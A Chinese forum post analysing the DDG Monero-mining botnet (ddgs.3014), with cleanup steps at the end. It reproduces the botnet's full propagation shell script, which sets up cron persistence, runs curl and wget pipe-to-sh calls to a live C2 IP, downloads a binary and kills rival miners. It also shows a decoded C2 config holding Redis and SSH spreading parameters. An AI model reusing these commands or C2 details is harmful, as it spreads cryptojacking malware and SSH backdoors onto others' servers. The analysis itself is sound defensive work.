本帖最后由 Net丶S 于 2018-12-21 09:57 编辑
之前偶然发现了ddgs的全新版本3014,正好之前也没仔细分析过ddg挖矿家族,这次仔细分析一下,还有一些地方没太懂,大致写出来。
DDG 是一个专注于扫描控制 SSH 、 Redis数据库 和 OrientDB数据库 服务器,并攫取服务器算力挖矿(门罗币)的僵尸网络。DDG最早出现在2017年,此后不断更新,从2017年10月开始,DDG先后发布了 201x, 202x, 301x 三个大的系列版本,内部分为6个小的版本,以及若干小版本内部的补丁修正。最新版通过SSH弱口令和redis未授权访问来传播,早期版本还利用过strust2和OrientOB作为攻击手段。
一、基本信息
目前存活的最新C2地址上可以看到全部的样本,如下:
ddg全家福
查看最新的ddgs3014:
主要传播脚本地址:http://13.113.240.221:8000/i.sh ,内容:
[Bash shell] 纯文本查看 复制代码 export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://13.113.240.221:8000/i.sh | sh" >> /var/spool/cron/root
echo "*/15 * * * * wget -q -O- http://13.113.240.221:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://13.113.240.221:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
echo "*/15 * * * * wget -q -O- http://13.113.240.221:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
ps auxf | grep -v grep | grep /tmp/ddgs.3014 || rm -rf /tmp/ddgs.3014
if [ ! -f "/tmp/ddgs.3014" ]; then
wget -q http://13.113.240.221:8000/static/3014/ddgs.$(uname -m) -O /tmp/ddgs.3014
curl -fsSL http://13.113.240.221:8000/static/3014/ddgs.$(uname -m) -o /tmp/ddgs.3014
fi
chmod +x /tmp/ddgs.3014 && /tmp/ddgs.3014
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
二、样本行为分析
从上文中i.sh代码中可以看到,i.sh主要做了三步,首先将下载自身并执行写入定时任务,然后下载主文件ddgs.3014并执行,最后杀掉其他常见挖矿进程。下面主要分析ddgs.3014。
IDA直接加载64位的样本文件ddgs.3014,样本是一个已经去除了符号的二进制文件,看不到函数名,这种情况下首先想办法还原函数名,目前还原函数名有两种方式,IDA的flair制作签名文件还原和使用Python脚本还原。根据以往的资料得知ddgs是go语言编写,如果不知道可以通过汇编特征比对判断编写语言,go语言有一个作者提供了一个函数名还原脚本,使用IDAPython脚本还原函数名,作者博客:https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro/。
用这个脚本可以直接还原出部分函数名,这样我们就可以通过函数名来获取一些信息,直接搜索找到main_main函数,同时还发现几个可疑函数main_Newminerd,main_backdoor等:
还原函数名
这里先不管,直接看main函数首先检查了环境,通过后会调用makedaemon函数把自己变成守护进程:
然后调用三个函数,分别执行新建守护进程,写入后门,进行挖矿。
新建守护进程
main_NewGuard函数调用main__backdoor_background将控制者的SSHKey写入到了authorized_key文件中。
main_NewMinerd函数,分为几个步骤,首先遍历自带IP列表中的地址,发送请求下载矿机到/tmp目录下,然后请求C2获取挖矿的配置信息,再启动挖矿,函数调用顺序为main_NewMinerd->main__minerd_background,background里面循环执行ddgs_cmd__XRun_Do,去下载并执行矿机。
矿机执行
然后会将内置的IP列表解码并初始化,得到内置C2列表,开始无限循环,这一部分前一半和矿机去请求C2获取挖矿地址钱包等信息的操作相同,都是向这个地址发送请求,解析返回的信息提取需要的,只是这部分会根据另外的信息执行传播:
首先请求http://ip:8000/slave:
Main_pingpang函数中会向指定IP发起http请求,获取返回结果,请求地址为http://ip:8000/slave,如果返回200,则一并返回一段msgpack编码的信息。如下图:
发送请求:
发送请求的函数中拼接地址
拼接请求地址
请求的http流
返回的信息
如果找到了存活的C2并且收到了返回信息,就把msgpack编码的信息解码:
对返回的信息解码
根据C2返回的信息,会执行矿机的更新,调用下一步攻击操作函数cmd_table,在ddgs_cmd__Table_Do函数中会根据解码后的信息,调用ddgs_cmd__AAredis_exploit函数和ddgs_cmd__AAssh_Test函数进一步攻击,传播,到这个位置是一整个循环,主进程会一直重复这个循环。
根据返回信息进行下一波操作
目前测试只会进行挖矿,没有扫描,说明C2没有下发扫描的信息。
msgpack编码的信息包含了挖矿的矿池,要下载的脚本,SSH弱口令和redis的利用范围等等信息,解码后的内容大致如下:
[XML] 纯文本查看 复制代码 {Data:
Config:
Interval: "360s";
Miner: [{
Exe: "/tmp/qW3xT.4",
Md5: 9dd8c5b1dc74286d81bc78372d9b7f27,
Url: "/static/qW3xT.4"
}],
Cmd:[
AAredis:{
Id: 6093,
Version: 3021,
ShellUrl: "http://13.113.240.221:8000/i.sh"
NThreads: 204,
Duration: "240h”,
IPDuration: "26h",
GenLan,
GenAAA,
Timeout: "21m",
Ports: (5379, 6379, 7379)
},
AAssh:{
Id: 2253,
Version: 3021,
ShellUrl: "http://13.113.240.221:8000/i.sh",
Duration: "240h”,
IPDuration: "312h",
GenLan,
GenAAA,
Timeout: "21m",
Ports: (22, 2222)
},
Sh:[
{
Id: 398,
Version: 255,
Timeout "120s",
Line: "curl -fsSL http://13.113.240.221:8000/static/disable.sh | sh"
},{
Id: 461,
Version: 3013,
Line: "curl -fsSL http://13.113.240.221:8000/i.sh | sh",
Timeout: "120s",
Killer: 132
},{
Id: 388,
Version: 3014,
Expr: "/tmp/ddgs.3013"
Timeout: "360s"
},{
Id: 389,
Version: 3014,
Expr: ".+(cryptonight|stratum+tcp://|dwarfpool.com|supportxmr.com).+",
Timeout: "360s"
},{
Id: 390,
Version: 3014,
Expr: "./xmr-stak|./.syslog|/bin/wipefs|./xmrig|/tmp/wnTKYg",
Timeout: "360s"
},{
Id: 381,
Version: 255,
Expr: "/tmp/2t3ik.+"
},{
Id: 397,
Version: 255,
Expr: "/tmp/qW3xT.+",
Timeout: "360s"
}
]
],
Signature:
'B|\x88Q\xe1"E\x12;\x8f\xf0$\n\xca\xce\x8da\x89\xfcW\x1d\x9dm\x10\x01\xf9\x84H\x19\x03\xc70e\xa2[\x04\xd1G\xba\xabQ;\x9d\xc7\x01C\x17k\xad\x9a-\x9c\xae\x82\xd2\xb8\x80\x81}\xdd\xb9@\xf1\x7fE\xd6\xed\xab\xe9\x08\xb2-\x8c\xad\xfd\xe9 "R\xdd\x91Y\xffgf\xaf\xb6y0\x8c$\x18\xad\xb8\xcb\xe89.\x01\x16\xfb\xf0\x93\xfaBA>]h+F\xe4\xd9\x9c\xc1\x1cOI\xd7\x16P%\xec~\xee\xeb`\x8d\xbe\xf7\x07\x1dM\x85\x88\x8eT\xcc\xb8 x`\n\xc2\xf7X\xc1E\x8e)\x1c\x16n\xebw\x13\xef=;\x1f_Y7Zof(/\x19#\xf1\xbb\xb9s\x86;\x11zlC\xcbh\xfa\xb0\xca\xd6%\nQ\x948L\x8c_\xc8\xb5O6(Y\x99\xa2\xfb\x04\xef\xf2\xbe\x11\xc7w\xc7\x87\x0e\xc2\xe3\xbca)|\xea0 "\x8b\x96q\x14q\xe68\xb7\x1eo\x16\x02\xd4\xba\xfc\\\x8a\x95\x18\xb1\xc9>p=\xb0\xf6\xf6N\xa5\x87;\xde\xf4\xb4\x83'
}
三、清除方法
清除定时任务
删除/var/spool/cron/crontabs/root文件内的
*/15 * * * * curl -fsSLhttp://13.113.240.221:8000/i.sh | sh
删除/var/spool/cron/root文件内的
*/5 * * * * wget -q -O-http://165.225.157.157:8000/i.sh | sh
删除/tmp/ddgs.3014 /tmp/qW3xT.4 /tmp/qW3xT.3
杀死 ddgs.3014 qW3xT.4进程
样本比较大,传不上来,可以直接去C2下载,目前还存活,后续失效了还想要的联系我吧 |